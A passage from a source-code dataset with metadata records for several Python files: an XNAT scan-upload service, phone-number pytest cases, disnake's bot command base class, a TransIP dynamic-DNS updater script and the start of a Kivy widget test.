{'xnat_id':'T1.nii.gz', 'query_string':'?xsi:type=xnat:mrScanData'} return xnat_ids def _check_for_existing_xnat_ids(self): """Check for existing attributes on the user and experiment Generates a dictionary with current xnat_subject_id for the user, xnat_experiment_id for the experiment as values if they exist (empty string if they do not exist). A private method not designed to be accessed by other classes. :return: a dictionary with two keys with the xnat subject id and xnat experiment id. :rtype: dict """ return {k: getattr(v, k) if getattr(v, k) else '' for k, v in {'xnat_subject_id': self.user, 'xnat_experiment_id': self.experiment}.items()} # todo: the check for existence before reassigning the values is verbose. Decide whether its important. def _update_database_objects(self, objects=[], keywords=[], uris=[], ids=[],): """Update database objects After uploading a scan, ensures that user, experient, and scan are updated in the database with their xnat uri and xnat id. :param list objects: user, experiment, and scan :param list keywords: 'subject', 'experiment', and 'scan' :param list uris: xnat uris :param list ids: xnat ids :return: None """ attributes = zip(objects, keywords, uris, ids) for (obj, kw, uri, id) in attributes: if not hasattr(obj, 'xnat_uri'): obj.update({'xnat_uri': uri}) if not hasattr(obj,'xnat_{}_id'.format(kw)): obj.update({'xnat_{}_id'.format(kw): id})

38.397661

120

0.655955

import os from cookiecutter_mbam.xnat import XNATConnection from cookiecutter_mbam.experiment import Experiment from cookiecutter_mbam.user import User from .models import Scan from .utils import gzip_file from flask import current_app def debug(): assert current_app.debug == False, "Don't panic! You're here by request of debug()" class ScanService: def __init__(self, user_id, exp_id): self.user_id = user_id self.user = User.get_by_id(self.user_id) self.experiment = Experiment.get_by_id(exp_id) self.xc = XNATConnection() # maybe that's the accessor? Is the accessor in the URI? def upload(self, image_file): file, dcm = self._process_file(image_file) xnat_ids = self._generate_xnat_identifiers(dcm=dcm) existing_attributes = self._check_for_existing_xnat_ids() uris = self.xc.upload_scan(xnat_ids, existing_attributes, image_file, import_service=dcm) scan = self._add_scan() keywords = ['subject', 'experiment', 'scan'] self._update_database_objects(keywords=keywords, objects=[self.user, self.experiment, scan], ids=['{}_id'.format(xnat_ids[kw]['xnat_id']) for kw in keywords], uris=uris) def _add_scan(self): scan = Scan.create(experiment_id=self.experiment.id) self.experiment.num_scans += 1 return scan def _process_file(self, image_file): image_file_name = image_file.filename file_name, file_ext = os.path.splitext(image_file_name) dcm = False if file_ext == '.nii': image_file = (gzip_file(image_file, file_name)) if file_ext == '.zip': dcm = True return (image_file, dcm) def _generate_xnat_identifiers(self, dcm=False): xnat_ids = {} xnat_ids['subject'] = {'xnat_id': str(self.user_id).zfill(6)} xnat_exp_id = '{}_MR{}'.format(xnat_ids['subject']['xnat_id'], self.user.num_experiments) exp_date = self.experiment.date.strftime('%m/%d/%Y') xnat_ids['experiment'] = {'xnat_id': xnat_exp_id, 'query_string':'?xnat:mrSessionData/date={}'.format(exp_date)} scan_number = self.experiment.num_scans + 1 xnat_scan_id = 'T1_{}'.format(scan_number) xnat_ids['scan'] = {'xnat_id':xnat_scan_id, 'query_string':'?xsiType=xnat:mrScanData'} if dcm: resource = 'DICOM' else: resource = 'NIFTI' xnat_ids['resource'] = {'xnat_id': resource} xnat_ids['file'] = {'xnat_id':'T1.nii.gz', 'query_string':'?xsi:type=xnat:mrScanData'} return xnat_ids def _check_for_existing_xnat_ids(self): return {k: getattr(v, k) if getattr(v, k) else '' for k, v in {'xnat_subject_id': self.user, 'xnat_experiment_id': self.experiment}.items()} def _update_database_objects(self, objects=[], keywords=[], uris=[], ids=[],): attributes = zip(objects, keywords, uris, ids) for (obj, kw, uri, id) in attributes: if not hasattr(obj, 'xnat_uri'): obj.update({'xnat_uri': uri}) if not hasattr(obj,'xnat_{}_id'.format(kw)): obj.update({'xnat_{}_id'.format(kw): id})

true

f710230f2cb958286fd2cd383520343ffe344500

1,403

py

Python

tests/utils/test_phone_numbers.py

Silvian/attendance-processor

b40eacf7fe8ab9473f7a75a8c8e0cc7ac03fb507

[ "MIT" ]

1

2020-10-29T13:07:25.000Z

tests/utils/test_phone_numbers.py

Silvian/attendance-processor

b40eacf7fe8ab9473f7a75a8c8e0cc7ac03fb507

[ "MIT" ]

null

tests/utils/test_phone_numbers.py

Silvian/attendance-processor

b40eacf7fe8ab9473f7a75a8c8e0cc7ac03fb507

[ "MIT" ]

null

import pytest from utils.phone_numbers import fix_number_formatting, validate_phone_number @pytest.mark.parametrize( "number, expected_result", [ ("7446123456", "07446123456"), # Test number with missing 0 ("07446123456", "07446123456"), # Test number no spaces ("07446 123456", "07446123456"), # Test number with spaces ("+447446123456", "+447446123456"), # Test international number no spaces ("+447446 123456", "+447446123456"), # Test international number with spaces ("+4407446123456", "+447446123456"), # Test international number with a 0 ("+44 07446 123456", "+447446123456"), # Test international number with a 0 and spaces ], ) def test_fix_number_formatting(number, expected_result): result = fix_number_formatting(number) assert expected_result == result @pytest.mark.parametrize( "number, expected_result", [ ("07446123456", True), # Test number is valid ("074461234567", False), # Test number is too long ("+447446123456", True), # Test international number is valid ("+4407446123456", False), # Test international number contains 0 ("+4474461234567", False), # Test international number is too long 0 ] ) def test_validate_phone_number(number, expected_result): result = validate_phone_number(number) assert expected_result == result

37.918919

95

0.680684

import pytest from utils.phone_numbers import fix_number_formatting, validate_phone_number @pytest.mark.parametrize( "number, expected_result", [ ("7446123456", "07446123456"), ("07446123456", "07446123456"), ("07446 123456", "07446123456"), ("+447446123456", "+447446123456"), ("+447446 123456", "+447446123456"), ("+4407446123456", "+447446123456"), ("+44 07446 123456", "+447446123456"), ], ) def test_fix_number_formatting(number, expected_result): result = fix_number_formatting(number) assert expected_result == result @pytest.mark.parametrize( "number, expected_result", [ ("07446123456", True), ("074461234567", False), ("+447446123456", True), ("+4407446123456", False), ("+4474461234567", False), ] ) def test_validate_phone_number(number, expected_result): result = validate_phone_number(number) assert expected_result == result

true

f71023e323fa23d2cf2eaffc7221a695ba60060f

20,092

py

Python

disnake/ext/commands/bot_base.py

MisileLab/disnake

c7f6a61f2fe2a05cb57027486d6f2cd7fe5399fa

[ "MIT" ]

null

disnake/ext/commands/bot_base.py

MisileLab/disnake

c7f6a61f2fe2a05cb57027486d6f2cd7fe5399fa

[ "MIT" ]

null

disnake/ext/commands/bot_base.py

MisileLab/disnake

c7f6a61f2fe2a05cb57027486d6f2cd7fe5399fa

[ "MIT" ]

null

""" The MIT License (MIT) Copyright (c) 2015-2021 Rapptz Copyright (c) 2021-present Disnake Development Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import annotations import asyncio import collections import collections.abc import inspect import sys import traceback from typing import Any, Callable, List, TYPE_CHECKING, Optional, TypeVar, Type, Union import disnake from .core import GroupMixin from .view import StringView from .context import Context from . import errors from .help import HelpCommand, DefaultHelpCommand from .common_bot_base import CommonBotBase if TYPE_CHECKING: from typing_extensions import ParamSpec from disnake.message import Message from disnake.interactions import ApplicationCommandInteraction from ._types import ( Check, CoroFunc, ) ApplicationCommandInteractionT = TypeVar( "ApplicationCommandInteractionT", bound=ApplicationCommandInteraction, covariant=True ) AnyMessageCommandInter = Any # Union[ApplicationCommandInteraction, UserCommandInteraction] AnyUserCommandInter = Any # Union[ApplicationCommandInteraction, UserCommandInteraction] P = ParamSpec("P") __all__ = ( "when_mentioned", "when_mentioned_or", "BotBase", ) MISSING: Any = disnake.utils.MISSING T = TypeVar("T") CFT = TypeVar("CFT", bound="CoroFunc") CXT = TypeVar("CXT", bound="Context") def when_mentioned(bot: BotBase, msg: Message) -> List[str]: """A callable that implements a command prefix equivalent to being mentioned. These are meant to be passed into the :attr:`.Bot.command_prefix` attribute. """ # bot.user will never be None when this is called return [f"<@{bot.user.id}> ", f"<@!{bot.user.id}> "] # type: ignore def when_mentioned_or(*prefixes: str) -> Callable[[BotBase, Message], List[str]]: """A callable that implements when mentioned or other prefixes provided. These are meant to be passed into the :attr:`.Bot.command_prefix` attribute. Example -------- .. code-block:: python3 bot = commands.Bot(command_prefix=commands.when_mentioned_or('!')) .. note:: This callable returns another callable, so if this is done inside a custom callable, you must call the returned callable, for example: .. code-block:: python3 async def get_prefix(bot, message): extras = await prefixes_for(message.guild) # returns a list return commands.when_mentioned_or(*extras)(bot, message) See Also ---------- :func:`.when_mentioned` """ def inner(bot, msg): r = list(prefixes) r = when_mentioned(bot, msg) + r return r return inner def _is_submodule(parent: str, child: str) -> bool: return parent == child or child.startswith(parent + ".") class _DefaultRepr: def __repr__(self): return "<default-help-command>" _default: Any = _DefaultRepr() class BotBase(CommonBotBase, GroupMixin): def __init__( self, command_prefix: Optional[Union[str, List[str], Callable]] = None, help_command: HelpCommand = _default, description: str = None, **options: Any, ): super().__init__(**options) self.command_prefix = command_prefix self._checks: List[Check] = [] self._check_once = [] self._before_invoke = None self._after_invoke = None self._help_command = None self.description: str = inspect.cleandoc(description) if description else "" self.strip_after_prefix: bool = options.get("strip_after_prefix", False) if help_command is _default: self.help_command = DefaultHelpCommand() else: self.help_command = help_command # internal helpers async def on_command_error(self, context: Context, exception: errors.CommandError) -> None: """|coro| The default command error handler provided by the bot. By default this prints to :data:`sys.stderr` however it could be overridden to have a different implementation. This only fires if you do not specify any listeners for command error. """ if self.extra_events.get("on_command_error", None): return command = context.command if command and command.has_error_handler(): return cog = context.cog if cog and cog.has_error_handler(): return print(f"Ignoring exception in command {context.command}:", file=sys.stderr) traceback.print_exception( type(exception), exception, exception.__traceback__, file=sys.stderr ) # global check registration def add_check( self, func: Check, *, call_once: bool = False, ) -> None: """Adds a global check to the bot. This is the non-decorator interface to :meth:`.check`, :meth:`.check_once`, :meth:`.slash_command_check` and etc. If none of bool params are specified, the check is for text commands only. Parameters ----------- func The function that was used as a global check. call_once: :class:`bool` If the function should only be called once per :meth:`.invoke` call. """ if call_once: self._check_once.append(func) else: self._checks.append(func) def remove_check( self, func: Check, *, call_once: bool = False, ) -> None: """Removes a global check from the bot. This function is idempotent and will not raise an exception if the function is not in the global checks. If none of bool params are specified, the check is for text commands only. Parameters ----------- func The function to remove from the global checks. call_once: :class:`bool` If the function was added with ``call_once=True`` in the :meth:`.Bot.add_check` call or using :meth:`.check_once`. """ l = self._check_once if call_once else self._checks try: l.remove(func) except ValueError: pass def check(self, func: T) -> T: r"""A decorator that adds a global check to the bot. A global check is similar to a :func:`.check` that is applied on a per command basis except it is run before any command checks have been verified and applies to every command the bot has. .. note:: This function can either be a regular function or a coroutine. Similar to a command :func:`.check`\, this takes a single parameter of type :class:`.Context` and can only raise exceptions inherited from :exc:`.CommandError`. Example --------- .. code-block:: python3 @bot.check def check_commands(ctx): return ctx.command.qualified_name in allowed_commands """ # T was used instead of Check to ensure the type matches on return self.add_check(func) # type: ignore return func def check_once(self, func: CFT) -> CFT: r"""A decorator that adds a "call once" global check to the bot. Unlike regular global checks, this one is called only once per :meth:`.invoke` call. Regular global checks are called whenever a command is called or :meth:`.Command.can_run` is called. This type of check bypasses that and ensures that it's called only once, even inside the default help command. .. note:: When using this function the :class:`.Context` sent to a group subcommand may only parse the parent command and not the subcommands due to it being invoked once per :meth:`.Bot.invoke` call. .. note:: This function can either be a regular function or a coroutine. Similar to a command :func:`.check`\, this takes a single parameter of type :class:`.Context` and can only raise exceptions inherited from :exc:`.CommandError`. Example --------- .. code-block:: python3 @bot.check_once def whitelist(ctx): return ctx.message.author.id in my_whitelist """ self.add_check(func, call_once=True) return func async def can_run(self, ctx: Context, *, call_once: bool = False) -> bool: data = self._check_once if call_once else self._checks if len(data) == 0: return True # type-checker doesn't distinguish between functions and methods return await disnake.utils.async_all(f(ctx) for f in data) # type: ignore def before_invoke(self, coro: CFT) -> CFT: """A decorator that registers a coroutine as a pre-invoke hook. A pre-invoke hook is called directly before the command is called. This makes it a useful function to set up database connections or any type of set up required. This pre-invoke hook takes a sole parameter, a :class:`.Context`. .. note:: The :meth:`~.Bot.before_invoke` and :meth:`~.Bot.after_invoke` hooks are only called if all checks and argument parsing procedures pass without error. If any check or argument parsing procedures fail then the hooks are not called. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the pre-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError("The pre-invoke hook must be a coroutine.") self._before_invoke = coro return coro def after_invoke(self, coro: CFT) -> CFT: r"""A decorator that registers a coroutine as a post-invoke hook. A post-invoke hook is called directly after the command is called. This makes it a useful function to clean-up database connections or any type of clean up required. This post-invoke hook takes a sole parameter, a :class:`.Context`. .. note:: Similar to :meth:`~.Bot.before_invoke`\, this is not called unless checks and argument parsing procedures succeed. This hook is, however, **always** called regardless of the internal command callback raising an error (i.e. :exc:`.CommandInvokeError`\). This makes it ideal for clean-up scenarios. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the post-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError("The post-invoke hook must be a coroutine.") self._after_invoke = coro return coro # extensions def _remove_module_references(self, name: str) -> None: super()._remove_module_references(name) # remove all the commands from the module for cmd in self.all_commands.copy().values(): if cmd.module is not None and _is_submodule(name, cmd.module): if isinstance(cmd, GroupMixin): cmd.recursively_remove_all_commands() self.remove_command(cmd.name) # help command stuff @property def help_command(self) -> Optional[HelpCommand]: return self._help_command @help_command.setter def help_command(self, value: Optional[HelpCommand]) -> None: if value is not None: if not isinstance(value, HelpCommand): raise TypeError("help_command must be a subclass of HelpCommand") if self._help_command is not None: self._help_command._remove_from_bot(self) self._help_command = value value._add_to_bot(self) elif self._help_command is not None: self._help_command._remove_from_bot(self) self._help_command = None else: self._help_command = None # command processing async def get_prefix(self, message: Message) -> Optional[Union[List[str], str]]: """|coro| Retrieves the prefix the bot is listening to with the message as a context. Parameters ----------- message: :class:`disnake.Message` The message context to get the prefix of. Returns -------- Optional[Union[List[:class:`str`], :class:`str`]] A list of prefixes or a single prefix that the bot is listening for. None if the bot isn't listening for prefixes. """ prefix = ret = self.command_prefix if callable(prefix): ret = await disnake.utils.maybe_coroutine(prefix, self, message) if ret is None: return None if not isinstance(ret, str): try: ret = list(ret) # type: ignore except TypeError: # It's possible that a generator raised this exception. Don't # replace it with our own error if that's the case. if isinstance(ret, collections.abc.Iterable): raise raise TypeError( "command_prefix must be plain string, iterable of strings, or callable " f"returning either of these, not {ret.__class__.__name__}" ) if not ret: raise ValueError("Iterable command_prefix must contain at least one prefix") return ret async def get_context(self, message: Message, *, cls: Type[CXT] = Context) -> CXT: r"""|coro| Returns the invocation context from the message. This is a more low-level counter-part for :meth:`.process_commands` to allow users more fine grained control over the processing. The returned context is not guaranteed to be a valid invocation context, :attr:`.Context.valid` must be checked to make sure it is. If the context is not valid then it is not a valid candidate to be invoked under :meth:`~.Bot.invoke`. Parameters ----------- message: :class:`disnake.Message` The message to get the invocation context from. cls The factory class that will be used to create the context. By default, this is :class:`.Context`. Should a custom class be provided, it must be similar enough to :class:`.Context`\'s interface. Returns -------- :class:`.Context` The invocation context. The type of this can change via the ``cls`` parameter. """ view = StringView(message.content) ctx = cls(prefix=None, view=view, bot=self, message=message) if message.author.id == self.user.id: # type: ignore return ctx prefix = await self.get_prefix(message) invoked_prefix = prefix if prefix is None: return ctx elif isinstance(prefix, str): if not view.skip_string(prefix): return ctx else: try: # if the context class' __init__ consumes something from the view this # will be wrong. That seems unreasonable though. if message.content.startswith(tuple(prefix)): invoked_prefix = disnake.utils.find(view.skip_string, prefix) else: return ctx except TypeError: if not isinstance(prefix, list): raise TypeError( "get_prefix must return either a string or a list of string, " f"not {prefix.__class__.__name__}" ) # It's possible a bad command_prefix got us here. for value in prefix: if not isinstance(value, str): raise TypeError( "Iterable command_prefix or list returned from get_prefix must " f"contain only strings, not {value.__class__.__name__}" ) # Getting here shouldn't happen raise if self.strip_after_prefix: view.skip_ws() invoker = view.get_word() ctx.invoked_with = invoker # type-checker fails to narrow invoked_prefix type. ctx.prefix = invoked_prefix # type: ignore ctx.command = self.all_commands.get(invoker) return ctx async def invoke(self, ctx: Context) -> None: """|coro| Invokes the command given under the invocation context and handles all the internal event dispatch mechanisms. Parameters ----------- ctx: :class:`.Context` The invocation context to invoke. """ if ctx.command is not None: self.dispatch("command", ctx) try: if await self.can_run(ctx, call_once=True): await ctx.command.invoke(ctx) else: raise errors.CheckFailure("The global check once functions failed.") except errors.CommandError as exc: await ctx.command.dispatch_error(ctx, exc) else: self.dispatch("command_completion", ctx) elif ctx.invoked_with: exc = errors.CommandNotFound(f'Command "{ctx.invoked_with}" is not found') self.dispatch("command_error", ctx, exc) async def process_commands(self, message: Message) -> None: """|coro| This function processes the commands that have been registered to the bot and other groups. Without this coroutine, none of the commands will be triggered. By default, this coroutine is called inside the :func:`.on_message` event. If you choose to override the :func:`.on_message` event, then you should invoke this coroutine as well. This is built using other low level tools, and is equivalent to a call to :meth:`~.Bot.get_context` followed by a call to :meth:`~.Bot.invoke`. This also checks if the message's author is a bot and doesn't call :meth:`~.Bot.get_context` or :meth:`~.Bot.invoke` if so. Parameters ----------- message: :class:`disnake.Message` The message to process commands for. """ if message.author.bot: return ctx = await self.get_context(message) await self.invoke(ctx) async def on_message(self, message): await self.process_commands(message)

33.375415

96

0.616016

from __future__ import annotations import asyncio import collections import collections.abc import inspect import sys import traceback from typing import Any, Callable, List, TYPE_CHECKING, Optional, TypeVar, Type, Union import disnake from .core import GroupMixin from .view import StringView from .context import Context from . import errors from .help import HelpCommand, DefaultHelpCommand from .common_bot_base import CommonBotBase if TYPE_CHECKING: from typing_extensions import ParamSpec from disnake.message import Message from disnake.interactions import ApplicationCommandInteraction from ._types import ( Check, CoroFunc, ) ApplicationCommandInteractionT = TypeVar( "ApplicationCommandInteractionT", bound=ApplicationCommandInteraction, covariant=True ) AnyMessageCommandInter = Any AnyUserCommandInter = Any P = ParamSpec("P") __all__ = ( "when_mentioned", "when_mentioned_or", "BotBase", ) MISSING: Any = disnake.utils.MISSING T = TypeVar("T") CFT = TypeVar("CFT", bound="CoroFunc") CXT = TypeVar("CXT", bound="Context") def when_mentioned(bot: BotBase, msg: Message) -> List[str]: return [f"<@{bot.user.id}> ", f"<@!{bot.user.id}> "] def when_mentioned_or(*prefixes: str) -> Callable[[BotBase, Message], List[str]]: def inner(bot, msg): r = list(prefixes) r = when_mentioned(bot, msg) + r return r return inner def _is_submodule(parent: str, child: str) -> bool: return parent == child or child.startswith(parent + ".") class _DefaultRepr: def __repr__(self): return "<default-help-command>" _default: Any = _DefaultRepr() class BotBase(CommonBotBase, GroupMixin): def __init__( self, command_prefix: Optional[Union[str, List[str], Callable]] = None, help_command: HelpCommand = _default, description: str = None, **options: Any, ): super().__init__(**options) self.command_prefix = command_prefix self._checks: List[Check] = [] self._check_once = [] self._before_invoke = None self._after_invoke = None self._help_command = None self.description: str = inspect.cleandoc(description) if description else "" self.strip_after_prefix: bool = options.get("strip_after_prefix", False) if help_command is _default: self.help_command = DefaultHelpCommand() else: self.help_command = help_command async def on_command_error(self, context: Context, exception: errors.CommandError) -> None: if self.extra_events.get("on_command_error", None): return command = context.command if command and command.has_error_handler(): return cog = context.cog if cog and cog.has_error_handler(): return print(f"Ignoring exception in command {context.command}:", file=sys.stderr) traceback.print_exception( type(exception), exception, exception.__traceback__, file=sys.stderr ) def add_check( self, func: Check, *, call_once: bool = False, ) -> None: if call_once: self._check_once.append(func) else: self._checks.append(func) def remove_check( self, func: Check, *, call_once: bool = False, ) -> None: l = self._check_once if call_once else self._checks try: l.remove(func) except ValueError: pass def check(self, func: T) -> T: self.add_check(func) return func def check_once(self, func: CFT) -> CFT: self.add_check(func, call_once=True) return func async def can_run(self, ctx: Context, *, call_once: bool = False) -> bool: data = self._check_once if call_once else self._checks if len(data) == 0: return True return await disnake.utils.async_all(f(ctx) for f in data) # type: ignore def before_invoke(self, coro: CFT) -> CFT: if not asyncio.iscoroutinefunction(coro): raise TypeError("The pre-invoke hook must be a coroutine.") self._before_invoke = coro return coro def after_invoke(self, coro: CFT) -> CFT: if not asyncio.iscoroutinefunction(coro): raise TypeError("The post-invoke hook must be a coroutine.") self._after_invoke = coro return coro # extensions def _remove_module_references(self, name: str) -> None: super()._remove_module_references(name) # remove all the commands from the module for cmd in self.all_commands.copy().values(): if cmd.module is not None and _is_submodule(name, cmd.module): if isinstance(cmd, GroupMixin): cmd.recursively_remove_all_commands() self.remove_command(cmd.name) # help command stuff @property def help_command(self) -> Optional[HelpCommand]: return self._help_command @help_command.setter def help_command(self, value: Optional[HelpCommand]) -> None: if value is not None: if not isinstance(value, HelpCommand): raise TypeError("help_command must be a subclass of HelpCommand") if self._help_command is not None: self._help_command._remove_from_bot(self) self._help_command = value value._add_to_bot(self) elif self._help_command is not None: self._help_command._remove_from_bot(self) self._help_command = None else: self._help_command = None # command processing async def get_prefix(self, message: Message) -> Optional[Union[List[str], str]]: prefix = ret = self.command_prefix if callable(prefix): ret = await disnake.utils.maybe_coroutine(prefix, self, message) if ret is None: return None if not isinstance(ret, str): try: ret = list(ret) # type: ignore except TypeError: # It's possible that a generator raised this exception. Don't # replace it with our own error if that's the case. if isinstance(ret, collections.abc.Iterable): raise raise TypeError( "command_prefix must be plain string, iterable of strings, or callable " f"returning either of these, not {ret.__class__.__name__}" ) if not ret: raise ValueError("Iterable command_prefix must contain at least one prefix") return ret async def get_context(self, message: Message, *, cls: Type[CXT] = Context) -> CXT: view = StringView(message.content) ctx = cls(prefix=None, view=view, bot=self, message=message) if message.author.id == self.user.id: return ctx prefix = await self.get_prefix(message) invoked_prefix = prefix if prefix is None: return ctx elif isinstance(prefix, str): if not view.skip_string(prefix): return ctx else: try: # will be wrong. That seems unreasonable though. if message.content.startswith(tuple(prefix)): invoked_prefix = disnake.utils.find(view.skip_string, prefix) else: return ctx except TypeError: if not isinstance(prefix, list): raise TypeError( "get_prefix must return either a string or a list of string, " f"not {prefix.__class__.__name__}" ) # It's possible a bad command_prefix got us here. for value in prefix: if not isinstance(value, str): raise TypeError( "Iterable command_prefix or list returned from get_prefix must " f"contain only strings, not {value.__class__.__name__}" ) raise if self.strip_after_prefix: view.skip_ws() invoker = view.get_word() ctx.invoked_with = invoker # type-checker fails to narrow invoked_prefix type. ctx.prefix = invoked_prefix # type: ignore ctx.command = self.all_commands.get(invoker) return ctx async def invoke(self, ctx: Context) -> None: if ctx.command is not None: self.dispatch("command", ctx) try: if await self.can_run(ctx, call_once=True): await ctx.command.invoke(ctx) else: raise errors.CheckFailure("The global check once functions failed.") except errors.CommandError as exc: await ctx.command.dispatch_error(ctx, exc) else: self.dispatch("command_completion", ctx) elif ctx.invoked_with: exc = errors.CommandNotFound(f'Command "{ctx.invoked_with}" is not found') self.dispatch("command_error", ctx, exc) async def process_commands(self, message: Message) -> None: if message.author.bot: return ctx = await self.get_context(message) await self.invoke(ctx) async def on_message(self, message): await self.process_commands(message)

true

f71024eea5e98c7df524c35442bced80a11680cf

2,316

py

Python

dyndns.py

jkeuper/transip_dyndns

4a1d778b72f0a762f97bdaae16192b8216e99cea

[ "MIT" ]

null

dyndns.py

jkeuper/transip_dyndns

4a1d778b72f0a762f97bdaae16192b8216e99cea

[ "MIT" ]

null

dyndns.py

jkeuper/transip_dyndns

4a1d778b72f0a762f97bdaae16192b8216e99cea

[ "MIT" ]

null

#!/usr/bin/env python3 import sys import argparse from requests import get from transip_rest_client import TransipRestClient def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="DynDNS: Updates a DNS record for a dynamic IP address.") parser.add_argument("-u", "--user", help="Your username.", required=True) parser.add_argument("-k", "--key", help="Key file containing RSA private key.", required=True) parser.add_argument("-n", "--name", help="Name of the record (e.g. 'www').", required=True) parser.add_argument("-d", "--domain", help="Existing DNS domain (e.g. 'example.com').", required=True) parser.add_argument("-v", "--verbose", action='store_true', help="Verbose mode.") options = parser.parse_args(args) return options def find(arr , id): for x in arr: if x["name"] == id: return x def main(key, username, domain, name, verbose): with open(key, 'r') as f: my_RSA_key = f.read() if "BEGIN RSA PRIVATE KEY" not in my_RSA_key: print("Key in incorrect format, convert the key with the following command:") print("openssl rsa -in privatekey.txt -out rsaprivatekey.txt") return newIp = get('https://api.ipify.org').text if verbose: print(f"Retrieved IP from api.ipify.org: {newIp}") client = TransipRestClient(user=username, rsaprivate_key=my_RSA_key, global_key=True) entries = client.get_dns_entries(domain=domain) if verbose: print(f"Found {len(entries)} DNS entries") entry = find(entries, name) if entry is None: print(f"No ip found, adding {newIp}") client.post_dns_entry(domain=domain, name=name, expire=300, record_type='A', content=newIp) else: oldIp = entry["content"] if verbose: print(f"Found current IP in DNS entry: {oldIp}") if oldIp != newIp: print(f"Updating {oldIp} to {newIp}") client.patch_dns_entry(domain=domain, name=name, record_type='A', content=newIp) else: print(f"Not updating {oldIp}") if __name__ == "__main__": options = getOptions() if options.verbose: print("Verbose output enabled.") main(options.key, options.user, options.domain, options.name, options.verbose)

35.630769

106

0.648964

import sys import argparse from requests import get from transip_rest_client import TransipRestClient def getOptions(args=sys.argv[1:]): parser = argparse.ArgumentParser(description="DynDNS: Updates a DNS record for a dynamic IP address.") parser.add_argument("-u", "--user", help="Your username.", required=True) parser.add_argument("-k", "--key", help="Key file containing RSA private key.", required=True) parser.add_argument("-n", "--name", help="Name of the record (e.g. 'www').", required=True) parser.add_argument("-d", "--domain", help="Existing DNS domain (e.g. 'example.com').", required=True) parser.add_argument("-v", "--verbose", action='store_true', help="Verbose mode.") options = parser.parse_args(args) return options def find(arr , id): for x in arr: if x["name"] == id: return x def main(key, username, domain, name, verbose): with open(key, 'r') as f: my_RSA_key = f.read() if "BEGIN RSA PRIVATE KEY" not in my_RSA_key: print("Key in incorrect format, convert the key with the following command:") print("openssl rsa -in privatekey.txt -out rsaprivatekey.txt") return newIp = get('https://api.ipify.org').text if verbose: print(f"Retrieved IP from api.ipify.org: {newIp}") client = TransipRestClient(user=username, rsaprivate_key=my_RSA_key, global_key=True) entries = client.get_dns_entries(domain=domain) if verbose: print(f"Found {len(entries)} DNS entries") entry = find(entries, name) if entry is None: print(f"No ip found, adding {newIp}") client.post_dns_entry(domain=domain, name=name, expire=300, record_type='A', content=newIp) else: oldIp = entry["content"] if verbose: print(f"Found current IP in DNS entry: {oldIp}") if oldIp != newIp: print(f"Updating {oldIp} to {newIp}") client.patch_dns_entry(domain=domain, name=name, record_type='A', content=newIp) else: print(f"Not updating {oldIp}") if __name__ == "__main__": options = getOptions() if options.verbose: print("Verbose output enabled.") main(options.key, options.user, options.domain, options.name, options.verbose)

true

f7102601e30fef5f8d8eff91e5adb145e938c0cf

4,105

py

Python

kivy/tests/test_widget.py

yunus-ceyhan/kivy

ba646bd82c8eb5c505c68d18de52f8f3e6cf199a

[ "MIT" ]

1

2022-02-06T11:20:43.000Z

kivy/tests/test_widget.py

yunus-ceyhan/kivy

ba646bd82c8eb5c505c68d18de52f8f3e6cf199a

[ "MIT" ]

null

kivy/tests/test_widget.py

yunus-ceyhan/kivy

ba646bd82c8eb5c505c68d18de52f8f3e6cf199a

[ "MIT" ]

1

2022-01-19T09:10:47.000Z

import unittest from tempfile import mkdtemp from shutil import rmtree class WidgetTestCase(unittest.TestCase): def setUp(self): from kivy.uix.widget import Widget self.cls = Widget self.root = Widget() def test_add_remove_widget(self): root = self.root self.assertEqual(root.children, []) c1 = self.cls() root.add_widget(c1) self.assertEqual(root.children, [c1]) root.remove_widget(c1) self.assertEqual(root.children, []) def test_invalid_add_widget(self): from kivy.uix.widget import WidgetException try: # None of them should work self.root.add_widget(None) self.root.add_widget(WidgetException) self.root.add_widget(self.cls) self.fail() except WidgetException: pass def test_clear_widgets(self): root = self.root self.assertEqual(root.children, []) c1 = self.cls() c2 = self.cls() c3 = self.cls() root.add_widget(c1, index=0) root.add_widget(c2, index=1) root.add_widget(c3, index=2) self.assertEqual(root.children, [c1, c2, c3]) root.clear_widgets([c2]) self.assertEqual(root.children, [c1, c3]) root.clear_widgets([]) self.assertEqual(root.children, [c1, c3]) root.clear_widgets() self.assertEqual(root.children, []) def test_clear_widgets_children(self): root = self.root for _ in range(10): root.add_widget(self.cls()) self.assertEqual(len(root.children), 10) root.clear_widgets(root.children) self.assertEqual(root.children, []) def test_position(self): wid = self.root wid.x = 50 self.assertEqual(wid.x, 50) self.assertEqual(wid.pos, [50, 0]) wid.y = 60 self.assertEqual(wid.y, 60) self.assertEqual(wid.pos, [50, 60]) wid.pos = (0, 0) self.assertEqual(wid.pos, [0, 0]) self.assertEqual(wid.x, 0) self.assertEqual(wid.y, 0) def test_size(self): wid = self.root wid.width = 50 self.assertEqual(wid.width, 50) self.assertEqual(wid.size, [50, 100]) wid.height = 60 self.assertEqual(wid.height, 60) self.assertEqual(wid.size, [50, 60]) wid.size = (100, 100) self.assertEqual(wid.size, [100, 100]) self.assertEqual(wid.width, 100) self.assertEqual(wid.height, 100) def test_collision(self): wid = self.root self.assertEqual(wid.pos, [0, 0]) self.assertEqual(wid.size, [100, 100]) self.assertEqual(wid.collide_point(-1, -1), False) self.assertEqual(wid.collide_point(0, 0), 